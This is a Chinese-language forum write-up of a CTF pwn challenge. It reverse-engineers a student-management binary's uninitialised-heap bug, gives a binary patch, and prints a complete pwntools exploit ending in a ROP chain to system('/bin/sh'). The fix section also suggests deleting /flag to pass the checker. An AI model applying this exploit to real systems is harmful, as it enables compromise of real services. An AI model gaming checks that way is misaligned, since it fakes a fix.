首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
Pwn
发新帖
2
5
[原创]软件系统安全决赛-student management
发表于: 2026-5-28 18:41
8559
[原创]软件系统安全决赛-student management
Nan0in
2026-5-28 18:41
8559
> 大家都喜欢的学生管理系统 # 分析  文件保护全开,glibc为2.39版本 提供注册登录删除三个功能 ## 结构体分析 register函数 ```c void sub_13A8() { _QWORD *buf; // [rsp+8h] [rbp-8h] buf = (_QWORD *)sub_12A9(0x88); if ( buf ) { puts("\n=== Registration ==="); printf("ID: "); *((_BYTE *)buf + read(0, buf, 0xFu)) = 0; if ( sub_1351(buf) ) //sub_1351中通过next指针检查用户id是否存在 { puts("[-] ID exists"); free(buf); } else { printf("Name: "); *((_BYTE *)buf + read(0, buf + 2, 0x3Fu) + 16) = 0; printf("Pass: "); *((_BYTE *)buf + read(0, buf + 10, 0x1Fu) + 80) = 0; buf[16] = qword_4030; qword_4030 = (__int64)buf; } } } ``` login函数 bio编辑,修改用户内容 ```c unsigned __int64 __fastcall sub_163D(__int64 a1) { _BYTE *v1; // rbx int v3; // [rsp+14h] [rbp-1Ch] BYREF unsigned __int64 v4; // [rsp+18h] [rbp-18h] v4 = __readfsqword(0x28u); printf("\nNew bio size: "); __isoc99_scanf("%d", &v3); getchar(); if ( v3 > 0 && v3 <= 1024 ) { if ( *(_QWORD *)(a1 + 112) && *(_QWORD *)(a1 + 120) < (unsigned __int64)v3 ) { free(*(void **)(a1 + 112)); *(_QWORD *)(a1 + 112) = sub_12A9(v3); *(_QWORD *)(a1 + 120) = v3; } else if ( !*(_QWORD *)(a1 + 112) ) { *(_QWORD *)(a1 + 112) = sub_12A9(v3); *(_QWORD *)(a1 + 120) = v3; } printf("Content: "); v1 = *(_BYTE **)(a1 + 112); v1[read(0, v1, v3 - 1)] = 0; } return v4 - __readfsqword(0x28u); } ``` 查看用户具体信息 ```c int __fastcall sub_15C9(__int64 a1) { __int64 v1; // rax puts("\n=== Profile ==="); printf("Name: %s\nID: %s\n", (const char *)(a1 + 16), (const char *)a1); v1 = *(_QWORD *)(a1 + 112); if ( v1 ) LODWORD(v1) = printf("Bio: %s\n", *(const char **)(a1 + 112)); return v1; } ``` 根据以上三个函数我们可以逆向分析出student的结构体内容 ```c struct student { char id[0x10]; char name[0x40]; char pass[0x20]; char *bio; size_t bio_size; student *next; }; ``` 新增bio ```c unsigned __int64 __fastcall sub_163D(student *a1) { char *bio; // rbx int v3; // [rsp+14h] [rbp-1Ch] BYREF unsigned __int64 v4; // [rsp+18h] [rbp-18h] v4 = __readfsqword(0x28u); printf("\nNew bio size: "); __isoc99_scanf("%d", &v3); getchar(); if ( v3 > 0 && v3 <= 1024 ) { if ( a1->bio && a1->bio_size < v3 ) { free(a1->bio); a1->bio = (char *)enc_malloc(v3); a1->bio_size = v3; } else if ( !a1->bio ) { a1->bio = (char *)enc_malloc(v3); a1->bio_size = v3; } printf("Content: "); bio = a1->bio; bio[read(0, bio, v3 - 1)] = 0; } return v4 - __readfsqword(0x28u); } ``` size<=0x400,若不存在已有bio就往chunk+0x70分配一个新指针,往0x78写size并补0(因为在打印信息里会截断,用来) 删除用户 ```c if ( s == 3 ) { printf("\nID to delete: "); buf[read(0, buf, 0xFu)] = 0; v5 = (void **)&qword_4030; ptr = nullptr; while ( *v5 ) { if ( !strcmp((const char *)*v5, buf) ) { ptr = (student *)*v5; *v5 = ptr->next; if ( ptr->bio ) { free(ptr->bio); ptr->bio = nullptr; } free(ptr); printf("[+] Student %s deleted\n", buf); break; } v5 = (void **)((char *)*v5 + 128); } if ( !ptr ) puts("[-] Not found"); } ``` 检验chunk寻找id,检验通过后检查0x70有无信息指针,存在则释放内容,清空指针,并从链表中删除 ## 漏洞点 在注册函数中 ```c void register() { student *buf; // [rsp+8h] [rbp-8h] buf = (student *)enc_malloc(0x88); if ( buf ) { puts("\n=== Registration ==="); printf("ID: "); buf->id[read(0, buf, 0xFu)] = 0; if ( sub_1351(buf) ) { puts("[-] ID exists"); free(buf); } else { printf("Name: "); buf->name[read(0, buf->name, 0x3Fu)] = 0; printf("Pass: "); buf->pass[read(0, buf->pass, 0x1Fu)] = 0; buf->next = (student *)qword_4030; qword_4030 = (__int64)buf; } } } ``` 在分配一个新的堆块的时候注意到只写入了id name pass 和一个next链接到student链表中,步入查看具体实现的malloc ```c void *__fastcall sub_12A9(size_t a1) { void *v2; // [rsp+18h] [rbp-8h] v2 = malloc(a1); if ( !v2 ) { puts("malloc failed"); exit(1); } printf("token: %lx\n", (unsigned __int16)v2 & 0xFFF); return v2; } ``` 发现程序实现的malloc没有将分配空间memset为0,不会清空chunk数据,如果合理构造堆块,在free之后再次分配就可以任意读写到bio,结合上面的register可以想到是否能将poinsoned chunk链入来leak出内容呢? # attack & fix ### fix部分 上一次的fix也是手打的AwdPwnpatcher,这一次不知为何过不了。。。前一天晚上本来睡前美美git clone 了一个evilpatcher准备拿来上通防到了赛场发现没有了?!(估计是前一天晚上锁屏的时候wifi自动断开了),总之思路有以下几种 - 通防沙箱 - memset后置零 - 修改fix脚本,例如`rm /flag`也能过check 神秘的是复赛的时候我尝试fix.sh的手法是过不了的……我只能说fix这一块真是让我意想不到 patch.py: ```python from AwdPwnPatcher import AwdPwnPatcher src = "./original/pwn" out= "./out/pwn_patch" ASM = """ mov rdx, qword ptr [rbp-0x18] xor esi, esi mov rdi, qword ptr [rbp-0x8] call 0x1150 mov rax, qword ptr [rbp-0x8] leave ret """ def main(): patcher = AwdPwnPatcher(src, adjust_eh_frame_size=False) patcher.patch_origin(0x12e9, 0x130f, assembly=ASM) patcher.save(out, fix_eh_frame_flags=False) if __name__ == "__main__": main() ``` ### attack 堆风水构造,反向释放合并完unsorted bin留存main_arena指针,此时一个足够大可以分割的unsorted bin可让我们用于构造堆风水  login之后在edit_bio的时候我们可以申请任意大小堆块,填满tcache后再次申请0x120大小堆块分掉,再次register后后可以leak地址 此处我们需要两个chunk的空间,填满tcache后从unsorted bin里切割0x130大小的chunk给bio,我们新register的用户残留的bio里就会有二级指针可以指向main_arena的悬垂指针了,同理如果我们利用剩余的unsorted bin构建好在这个二级指针处放的是一个bio指针,就可以leak heap地址了  ```python for i in range(13): register(i, i, i) register(13,13,13) #avoid consolidation register(15,15,15) for i in range(0,7): delete(i) # tcache for i in range(7,13)[::-1]: delete(i) # unsorted bin consolidation for i in range(7): register(i, i,i) edit_bios(13,13,0x120,b"aaa") register(14,14,14) register(16,16,16) out = show(14,14) leak = out.split(b"Bio: ", 1)[1].split(b"\n\n1.View", 1)[0] libc_leak = u64(leak.ljust(8, b"\x00")) libc_base = libc_leak - 0x203b20 ``` 注意到我们目前student14->bio指向了heap+0x720,可以再次利用,伪造一个student结构体 ! write->student14(bio)-0xa0,我们从0x5627ba2d07a0开始更改掉size就可以overlapping写掉student14的结构体内容,如下 ```bash student14-> bio ⬇️ +0xa0 -> student14.id +0xb0 -> student14.name +0xf0 -> student14.pass +0x110 -> student14.bio +0x118 -> student14.bio_size +0x120 -> student14.next ``` 通过arb write我们写入bio拿environ 欸????☝️我们再次用上面leak heap的指针写一次不就可以写掉返回地址构造rop链exit get shell了当然也可以打IO(笑) #### exploit ```python import argparse import sys import socks import socket from pwn import * parser = argparse.ArgumentParser() parser.add_argument( "mode", type=int, choices=[0, 1, 2], nargs="?", default=0, help="0=local,1=local+gdb,2=remote", ) args = parser.parse_args() filename = "./pwn" libc_name = "./libc.so.6" arch = "amd64" remote_addr = "localhost" remote_port = 1337 context(log_level="debug", os="linux", arch=arch) if args.mode < 2: context.terminal = ["tmux", "splitw", "-h"] def VIO_TEXT(x, code=95): return log.info(f"\x1b[{code}m{x}\x1b[0m") def CLEAR_TEXT(x, code=32): return log.success(f"\x1b[{code}m{x}\x1b[0m") if args.mode == 0: io = process(filename) CLEAR_TEXT("[*] Running on local machine") elif args.mode == 1: io = process(filename) gdb.attach(io, gdbscript=''' # put your scripts here ''') elif args.mode == 2: socks.set_default_proxy( socks.SOCKS5, "domain", remote_port, username="", password="", ) socket.socket = socks.socksocket io = remote(remote_addr, remote_port) else: sys.exit(1) elf = ELF(filename, checksec=False) if libc_name: libc = ELF(libc_name, checksec=False) def cmd(choice): io.sendlineafter(b"> ", str(choice).encode()) def register(id,name,password): cmd(1) io.sendlineafter(b"ID: ", str(id).encode()) io.sendafter(b"Name: ", str(name).encode()) io.sendafter(b"Pass: ", str(password).encode()) def show(id,password): cmd(2) io.sendlineafter(b"ID: ", str(id).encode()) io.sendafter(b"Pass: ", str(password).encode()) cmd(1) return io.recvuntil(b"0.Logout\n") def login(id,password): cmd(2) io.sendlineafter(b"ID: ", str(id).encode()) io.sendafter(b"Pass: ", str(password).encode()) def edit_current(size, content): cmd(2) io.sendlineafter(b"size: ", str(size).encode()) io.sendafter(b"ontent: ", content) def edit_bios(id,password,size,content): cmd(2) io.sendlineafter(b"ID: ", str(id).encode()) io.sendafter(b"Pass: ", str(password).encode()) cmd(2) io.sendlineafter(b"size: ", str(size).encode()) io.sendafter(b"ontent: ", content) cmd(0) def delete(id): cmd(3) io.sendlineafter(b"delete: ", str(id).encode()) def logout(): cmd(0) def tcache_pointer(a,b): return p64(b^(a>>12)) # tcache加密方式为上一个堆块地址左移12位异或地址本身 def overlap_student(id,bio,bio_size): off=0xa0 id=str(id).encode() fake_student=flat( { off: id+b"\n\x00", off+0x10:id+b"\x00", off+0x50:id+b"\x00", off+0x70:p64(bio), off+0x78:p64(bio_size), },filler=b"\x00",length=0x120 ) return fake_student # --- Exploit Start --- for i in range(13): register(i, i, i) register(13,13,13) #avoid consolidation register(15,15,15) for i in range(0,7): delete(i) # tcache for i in range(7,13)[::-1]: delete(i) # unsorted bin consolidation for i in range(7): register(i, i,i) edit_bios(13,13,0x120,b"aaa") register(14,14,14) register(16,16,16) out = show(14,14) leak = out.split(b"Bio: ", 1)[1].split(b"\n\n1.View", 1)[0] libc_leak = u64(leak.ljust(8, b"\x00")) libc_base = libc_leak - 0x203b20 libc.address = libc_base VIO_TEXT(f"libc base = {hex(libc_base)}") logout() edit_bios(16,16,0x90,b"bbb") register(17,17,17) out=show(17,17) leak = out.split(b"Bio: ", 1)[1].split(b"\n\n1.View", 1)[0] # pause() heap_base= u64(leak.ljust(8, b"\x00"))-0x2a0 VIO_TEXT(f"heap base = {hex(heap_base)}") logout() # pause() edit_bios(14,14,0x121,overlap_student(14,libc.sym["environ"],0x400)) out=show(14,14) leak = out.split(b"Bio: ", 1)[1].split(b"\n\n1.View", 1)[0] environ = u64(leak.ljust(8, b"\x00")) ret_addr = environ - 0x130 VIO_TEXT(f"ret = {hex(ret_addr)}") logout() rop=flat( libc.address + 0x2882F, # ret next(libc.search(asm("pop rdi; ret"))), next(libc.search(b"/bin/sh\x00")), libc.sym["system"], ) edit_bios(16,16,0x121,overlap_student(16,ret_addr,len(rop)+1)) edit_bios(16,16,len(rop)+1,rop) logout() io.interactive() ```
登录后可查看完整内容
冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。
收藏
・
2
点赞
・
5
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
wx_晨梦
感谢你的贡献,论坛因你而更加精彩!
2026-7-16 07:30
Nameless_a
+10
谢谢你的细致分析,受益匪浅!
2026-6-5 09:36
yuanyouran
+1
这个讨论对我很有帮助,谢谢!
2026-6-4 17:33
F0xm1ao
谢谢你的细致分析,受益匪浅!
2026-5-31 18:53
n00bzx
+6
为你点赞!
2026-5-29 10:56
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
1
)
n00bzx
雪 币:
2703
活跃值:
(3884)
能力值:
( LV12,RANK:286 )
在线值:
发帖
7
回帖
59
粉丝
10
关注
私信
n00bzx
2
2
楼
大家都喜欢
2026-5-29 10:55
0
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
Nan0in
3
发帖
4
回帖
10
RANK
关注
私信
他的文章
[原创]软件系统安全决赛-student management
8555
[分享][建议]ida9.1 keypatch 插件报错和无法检测的修复
2042
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部